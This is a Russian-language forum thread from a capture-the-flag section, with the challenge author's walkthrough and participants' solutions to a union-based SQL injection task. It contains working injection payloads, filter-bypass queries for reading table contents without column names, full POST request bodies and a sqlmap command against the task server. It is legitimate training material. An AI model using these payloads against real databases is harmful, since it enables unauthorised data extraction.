HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Этичный хакинг или пентестинг > Задания/Квесты/CTF/Конкурсы
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #11  
Старый 24.03.2020, 15:46
dooble
Участник форума
Регистрация: 30.12.2016
Сообщений: 218
С нами: 4931606

Репутация: 138
По умолчанию

Наверное последнее, что напишу по поводу задания

вторая часть - изи, или даже изи-изи.

Union-based SQLi с выводом, даже не слепая.

Ради нее и задание запускать не очень нужно, тем более на форуме, где исторически сложилась сильная школа исследователей по этому направлению.

Но раз уже сделано, точка входа выложена на блюдечке, можно и воткнуть.

Я предполагал, что решит всякий, кто возьмется.

Даже с начальным опытом.
 
Ответить с цитированием

  #12  
Старый 26.03.2020, 16:25
neur0funk
Новичок
Регистрация: 09.05.2018
Сообщений: 22
С нами: 4218806

Репутация: 12
По умолчанию

Спс, хороший таск, на практике такое ни разу не использовал.

P.S. после закрытия таска, можно исходники посмотреть?
 
Ответить с цитированием

  #13  
Старый 26.03.2020, 16:47
dooble
Участник форума
Регистрация: 30.12.2016
Сообщений: 218
С нами: 4931606

Репутация: 138
По умолчанию

Цитата:
Сообщение от neur0funk  

P.S. после закрытия таска, можно исходники посмотреть?
Задание не на поиск багов в движках, в коде.

Почему и как написан код - никакого значения не имеет.

Имеем нечто по-факту.

С ним можно взаимодействовать некоторым образом.

Нужно догадаться - как именно.

Черный ящик.
 
Ответить с цитированием

  #14  
Старый 27.03.2020, 13:07
Раrаdох
Познающий
Регистрация: 30.01.2014
Сообщений: 87
С нами: 6465206

Репутация: 33
По умолчанию

Раз уж заглянул на античат, то заодно решил и размять руки. Спасибо за задание, было интересно и совсем не долго, — ничего сложного.
 
Ответить с цитированием

  #15  
Старый 29.03.2020, 18:17
nix_security
Новичок
Регистрация: 15.02.2019
Сообщений: 11
С нами: 3812726

Репутация: 48
По умолчанию

Спасибо, получил удовольствие от задания
 
Ответить с цитированием

  #16  
Старый 30.03.2020, 13:31
Unknown
Новичок
Регистрация: 21.06.2005
Сообщений: 1
С нами: 10992741

Репутация: 0
По умолчанию

Довольно интересная задача. Первую часть оценить не могу, потому что посмотрел подсказки. Ну как, подсказки. Решение

А вот вторая часть неплохая, хотя для меня с элементом "угадывания".

Спасибо за задачу!
 
Ответить с цитированием

  #17  
Старый 01.04.2020, 13:29
MichelleBoxing
Новичок
Регистрация: 12.11.2018
Сообщений: 19
С нами: 3949526

Репутация: 57
По умолчанию

познавательно, было интересно.

Спасибо автору
 
Ответить с цитированием

  #18  
Старый 02.04.2020, 19:41
fandor9
Постоянный
Регистрация: 16.11.2018
Сообщений: 620
С нами: 3943766

Репутация: 47


По умолчанию

Спасибо, попыхтел и решил. узнал кое-что для себя новое.
 
Ответить с цитированием

  #19  
Старый 02.04.2020, 21:13
dooble
Участник форума
Регистрация: 30.12.2016
Сообщений: 218
С нами: 4931606

Репутация: 138
По умолчанию

Прохождение:

Ищем точку входа.

Ничего интересного, кроме параметров, в форме нет.

Втыкаем в них.

В ответах есть реакция только на поле "template", видна работа фильтра, на "запрещенные" символы получаем пустую ссылку на файл стилей и верстка рушится.

Если проверить на допустимые символы, то получим такой набор:

[a-zA-Z0-9\-_\.\/\'\{\}= \(\),\*]

Немного странный набор, но он косвенно свидетельствует о том, что поле обрабатывается и через него можно отослать, сразу и не понятно чего.

Странным его делают символы (){}*=

попробем построить из них чего-нибудь.

В аналогичной ситуациии заметил, что часто получаются симметричные конструкции и начал добавлять в них выражения - арифметические и логические.

В какой то момет получил реакцию.

В данном случае внутри шаблона ={{}}=

Код:
={{purple}}=                          href="./css/purple.css"
={{purple'and'1}}=                    href="./css/purple.css"
={{purple'and'0}}=                    href=""
={{'or'1}}=                           href="./css/purple.css"
={{'union select version()'}}=        href="10.1.44-MariaDB-0+deb9u1"
дальше можно открыть любую методичку по SQLi и продолжить:

Код:
'union select  group_concat(0x7c,table_schema)from(select distinct table_schema from information_schema.tables)t-- -
href="|information_schema,|task10"

Код:
'union select  group_concat(0x7c,table_name)from(select distinct table_name from information_schema.tables where table_schema=0x7461736B3130)t-- -
href="|flag1286n2482,|template"

Видим сбивающее с толку название flag1286n2482, чтоли это и есть флаг?

Но по факту это только указатель, нужно прочитать данные таблички.

И тут наш вектор сломался и отказывается работать, если мы пытаемся воткнуть ему подстроку "column".

С одной стороны обидно, пару запросов осталось сделать.

С другой стороны - нас это не остановит.

Было время, когда information_schema вообще не существовало, а информацию вытаскивали.

И тут есть два варианта - быстренько повтыкать по такому случаю, или не тратить время и убедиться, что это уже давно найдено за нас

https://rdot.org/forum/showpost.php?...2&postcount=10

Находим количество полей в таблице - 3.

Код:
purple' and exists(select*from(select*from flag1286n2482 order by 3)k)and'1
purple' and exists(select*from(select*from flag1286n2482 order by 4)k)and'1
и вынимаем данные

Код:
'union select k.2 from(select 1,2,3 union select * from flag1286n2482)k limit 1,1-- -
href="*A9842A926CB0D29CBCC7F5A4719E9E65AD5278AC"





.SpoilerTarget" type="button">Spoiler: Немного лирики
Вообще, задания типа этой первой части я не люблю и скорее всего не стал бы его решать.

Тогда почему включил в таск?

В задании допустимо следовать настроению и проигнорить поиск, но в реале мотивация может быть посильнее, чем настроение.

И когда в такой ситуации бага расковырялась, я понял несколько вещей:

- SQLi и сейчас может быть интересной, хотя в свое время их навтыкались до отвращения.

- сколько и чего я пропустил на реальных сайтах, просто потому, что опыт загоняет тебя в шаблоны восприятия - что и как должно выглядеть.

- приятно открыть дверь там, где ее даже и не видно, даже и при полном свете.


Прохождения участников:

.SpoilerTarget" type="button">Spoiler

Цитата:
Сообщение от undefo  

Код:
={{purple' UNION SELECT GROUP_CONCAT(s.2 SEPARATOR ',') FROM (SELECT 1,2,3 UNION SELECT * FROM flag1286n2482)s LIMIT 1,1 -- -}}=
Цитата:
Сообщение от Shubka75  

Код:
_csrf=OA26W7CTlUbhgUC0XdWn50gWHtEv3jv91krkfL6TpCs&template=={{purple' and false union select table_name from information_schema.tables where table_schema=database()-- rr}}=&email=wefwef%40abc.abc&password=sefesfsef&commit=Log+In
_csrf=OA26W7CTlUbhgUC0XdWn50gWHtEv3jv91krkfL6TpCs&template=={{purple' and false union select concat_ws(0x3a,c1,c2,c3) from (select 1 c1,2 c2, 3 c3 union select * from flag1286n2482 limit 1,1)k -- }}=&email=wefwef%40abc.abc&password=sefesfsef&commit=Log+In&param=1111
Цитата:
Сообщение от neur0funk  

Код:
_csrf=OA26W7CTlUbhgUC0XdWn50gWHtEv3jv91krkfL6TpCs&template=={{0' union select table_name from information_schema.tables limit 78,1-- }}=&email=&password=&commit=Log In
={{0' union select GROUP_CONCAT(concat_ws(0x3a,v1,v2,v3)) from(select 1 v1,2 v2,3 v3 union select * from flag1286n2482)z -- }}=
Цитата:
Сообщение от Раrаdох  

Само собой, делал я так:
1. Узнать имена столбцов через
information_schema.columns
оказалось не так то просто, учитывая, что если в запросе встречается слово "
columns
" (не учитывая регистра), то результатом запроса становится запрос по умолчанию. Тогда я решил применить технику объединения результата запроса из таблицы с левым
SELECT 1,..,N
(где N — число столбцов в искомой таблице, иначе, при разном кол-ве столбцов, оператор
UNION
не прокатит). "Техникой" это становится в тот момент, когда ты осознаешь, что имена столбцов в таком случае принимают значения левого аргумента оператора, и, соответственно, можно запросто их вывести, ничего не зная о настоящих именах столбцов нужной нам таблицы.
Тогда запрос принимает следующий вид:
Код:
template=={{-1' union select concat_ws(',', t.1, t.2, t.3) from (select 1,2,3 union select * from flag1286n2482) t limit 1,1 -- }}=
2. Если не понятно, отмечу, что значения мы выводим через
t.N
(где N - порядковый номер нужного столбца в таблице) и конкатенируем их в единую строку с помощью встроенной функции
concat_ws
. С помощью
LIMIT
мы получаем нужную нам строку (вторую, в данном случае).
3. Возможно, также, остается вопрос "а как мы узнали кол-во столбцов"? Тут всё просто: как только вышеупомянутый UNION сработал, значит, кол-во столбцов подобрано правильно. При бинарном поиске такая задача сходится весьма быстро, также, как и классический подход с
ORDER BY
.
Если остались какие-то вопросы, буду рад прокомментировать.
Цитата:
Сообщение от Раrаdох  

Добрый день!
Спасибо за задачу, моё решение
Task #10
таково:
1. Осматриваем страницу, понимаем, что никуда внутрь провалиться нельзя, значит имеем дело только с формой. Быстренько ковыряем её: подставив двойную кавычку в параметр
template
замечаем, что один из тегов
link
на странице поменял значения атрибута
href
, а именно — он стал пустым. Предполагаем, что копать нужно в этом направлении, а учитывая, что это какой-то шаблон, пробуем техники в направлении эксплуатации уязвимостей в серверных шаблонизаторах. Все остальные параметры из POST запроса выкидываем — они ни к чему.
2. Пробуем покрутить обыкновенную скулю для строкового значения, подбирая кол-во столбцов в возвращаемом ответе от СУБД методом сортировки по столбцу, указав его порядковый номер (
ORDER BY N
):
Код:
={{purple' order by 1-- }}=
3. Вроде, работает. Пробуем сортировать по столбцам с более высоким порядковым номером — запрос падает. Делаем предположение, что возвращается всего один столбец.
4. Соединяем текущий запрос с полезной нагрузкой с помощью
UNION
:
Код:
={{' union select version() -- }}=
Получили ответ
10.1.44-MariaDB-0+deb9u1
. Вуаля, дальше дело техники.
5. Мы люди белые, год не 2001й, так что дальше крутить руками не будем. Кто варится в этом недавно, может покрутить и вручную, если интересно. А мы воспользуемся утилитой
sqlmap
. Предварительно поможем ей с помощью указания конкретного параметра, а также суффикса и постфикса полезной нагрузки, ибо нужно завраппить полезную нагрузку в синтаксическую конструкцию серверного шаблонизатора
={{payload}}=
. Варианты помощи могут быть разные, например, что-то вроде:
Код:
sqlmap -u http://task.antichat.com:10010/ --data="template=" -p template --prefix="={{' union " --suffix=" -- }}="
6. Утилита отработала: выдала несколько обнаруженных баз данных. Среди них
task10
— предполагаем, что это то, что надо. Сканируем таблицы искомой бд и обнаруживаем таблицу, название которой является флагом со значением "
flag1286n2482
". На всякий случай смотрим внутрь таблицы, но ничего интересного там не наблюдаем.
7. Задача решена.
Цитата:
Сообщение от Раrаdох  

1. Узнать имена столбцов через
information_schema.columns
оказалось не так то просто, учитывая, что если в запросе встречается слово "
columns
" (не учитывая регистра), то результатом запроса становится запрос по умолчанию. Тогда я решил применить технику объединения результата запроса из таблицы с левым
SELECT 1,..,N
(где N — число столбцов в искомой таблице, иначе, при разном кол-ве столбцов, оператор
UNION
не прокатит). "Техникой" это становится в тот момент, когда ты осознаешь, что имена столбцов в таком случае принимают значения левого аргумента оператора, и, соответственно, можно запросто их вывести, ничего не зная о настоящих именах столбцов нужной нам таблицы.
Тогда запрос принимает следующий вид:
Код:
template=={{-1' union select concat_ws(',', t.1, t.2, t.3) from (select 1,2,3 union select * from flag1286n2482) t limit 1,1 -- }}=
2. Если не понятно, отмечу, что значения мы выводим через
t.N
(где N - порядковый номер нужного столбца в таблице) и конкатенируем их в единую строку с помощью встроенной функции
concat_ws
. С помощью
LIMIT
мы получаем нужную нам строку (вторую, в данном случае).
3. Возможно, также, остается вопрос "а как мы узнали кол-во столбцов"? Тут всё просто: как только вышеупомянутый UNION сработал, значит, кол-во столбцов подобрано правильно. При бинарном поиске такая задача сходится весьма быстро, также, как и классический подход с
ORDER BY
.
Если остались какие-то вопросы, буду рад прокомментировать.
Цитата:
Сообщение от nix_security  

Код:
_csrf=OA26W7CTlUbhgUC0XdWn50gWHtEv3jv91krkfL6TpCs&template={{'+template=={{'+union+SELECT+table_name+FROM+information_schema.tables+where+table_schema='task10'+limit+1+--+}}=&email=dd%40dd.com&password=paswo&commit=Log+In
_csrf=OA26W7CTlUbhgUC0XdWn50gWHtEv3jv91krkfL6TpCs&template=={{'+union+select+concat_ws(0x3a,a,b)+from+(select+'a','b','c'+union+select+*+from+flag1286n2482)a+limit+1,1+--+}}=&email=dd%40dd.com&password=paswo&commit=Log+In
Цитата:
Сообщение от gurux13  

- Воспользовался подсказкой про ={{sqli}}= в template
- Начал передавать всякую фигню в sqli
- Внезапно, ' union select 1 -- вывел 1 в , если же результат запроса 0, то получаем . Так с помощью LENGTH, SUBSTR, ASCII
Дальше составляем запросы на вывод таблиц (SELECT table_name FROM information_schema.tables LIMIT 1 OFFSET 78) и находим таблицу "flag1286n2482".
Данные из этой таблицы читаем с помощью запросы ""(SELECT test FROM ((SELECT 1,'test',3 UNION SELECT * FROM task10.flag1286n2482)test) LIMIT 1 OFFSET 1)" и получаем *A9842A926CB0D29CBCC7F5A4719E9E65AD5278AC
Всем спасибо!

Все меньше времени остается на задачки, но мы их не бросаем

==

PS

В изначальном варианте information_schema была полностью запрещена и нужно было найти еще и небрутабельное имя таблицы.

Но посчитал, что это излишне затянет задание, без особой на то необходимости.

И выпилил перед запуском.
 
Ответить с цитированием

  #20  
Старый 02.04.2020, 21:42
crlf
Постоянный
Регистрация: 18.03.2016
Сообщений: 663
С нами: 5344886

Репутация: 441


По умолчанию

Пацаны ваще ребята, респект всем решившим!
 
Ответить с цитированием
Ответ





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.